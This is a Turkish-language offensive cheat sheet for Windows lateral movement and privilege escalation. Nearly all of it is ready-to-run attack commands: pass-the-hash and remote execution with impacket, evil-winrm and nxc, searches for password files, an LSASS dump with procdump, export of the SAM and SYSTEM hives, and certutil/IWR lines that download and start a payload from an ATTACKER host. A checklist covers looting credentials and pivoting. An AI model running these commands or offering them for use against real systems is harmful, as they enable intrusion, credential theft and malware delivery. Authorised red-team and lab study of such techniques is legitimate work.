Skip to content

Lateral Movement

windows lateral

Lateral Movement Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula.

Metodoloji

Section titled “Metodoloji”

  1. whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.

  2. Lateral Movement için servis/DLL/token/AD hipotezini enum ile destekle.

  3. Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.

  4. LSASS/SAM/DPAPI veya domain loot paketle.

Durum

Section titled “Durum”

Lateral Movement Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.

Terminal window
whoami /all
Terminal window
systeminfo
Terminal window
whoami /priv
Terminal window
net user; net localgroup administrators
Terminal window
hostname & ipconfig /all
Terminal window
Get-LocalGroupMember Administrators -ErrorAction SilentlyContinue
Terminal window
Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled
Terminal window
netstat -ano
Terminal window
Get-Service | ? Status -eq Running | Select Name,DisplayName

Yanal hareket / C2

Section titled “Yanal hareket / C2”

Geçerli kimlik ile SMB/WMI/WinRM/DCOM üzerinden uzaktan komut çalıştır.

Terminal window
impacket-psexec domain/user:pass@TARGET
Terminal window
impacket-wmiexec domain/user:pass@TARGET
Terminal window
impacket-smbexec domain/user:pass@TARGET
Terminal window
impacket-atexec domain/user:pass@TARGET 'whoami'
Terminal window
impacket-dcomexec domain/user:pass@TARGET
Terminal window
evil-winrm -i TARGET -u user -p pass
Terminal window
nxc smb TARGET -u user -p pass -x whoami
Terminal window
nxc winrm TARGET -u user -H NTHASH -x whoami
Terminal window
xfreerdp /u:user /p:pass /v:TARGET /cert:ignore

Otomatik enum

Section titled “Otomatik enum”
Terminal window
winPEASx64.exe quiet
Terminal window
accesschk.exe /accepteula -uwcqv users *
Terminal window
Import-Module .\PowerUp.ps1; Invoke-AllChecks
Terminal window
Get-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30

Yükseltme / erişim sonrası

Section titled “Yükseltme / erişim sonrası”
Terminal window
dir C:\Users\Administrator\Desktop
Terminal window
dir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinue
Terminal window
Get-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30
Terminal window
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
Terminal window
reg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.save

Manuel doğrulama

Section titled “Manuel doğrulama”
Terminal window
# Lateral Movement — varyant 72
Terminal window
Get-ChildItem C:\Users -Force | Format-Table Name,Mode
Terminal window
Get-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPath
Terminal window
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePath
Terminal window
findstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20
Terminal window
Get-Acl C:\ProgramData | Format-List
Terminal window
qwinsta; quser
Terminal window
wmic product get name,version
Terminal window
dir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startup
Terminal window
cmdkey /list

Transfer / execution

Section titled “Transfer / execution”
Terminal window
IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.exe
Terminal window
certutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exe
Terminal window
Start-Process C:\Users\Public\a.exe

Checklist

Section titled “Checklist”
[ ] whoami /priv ve gruplar alındı
[ ] Servis/DLL/registry/token yüzeyi tarandı
[ ] Privesc veya lateral PoC doğrulandı
[ ] Credential dump / loot paketlendi
[ ] Sonraki pivot not edildi

Notlar

Section titled “Notlar”

Lateral Movement sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.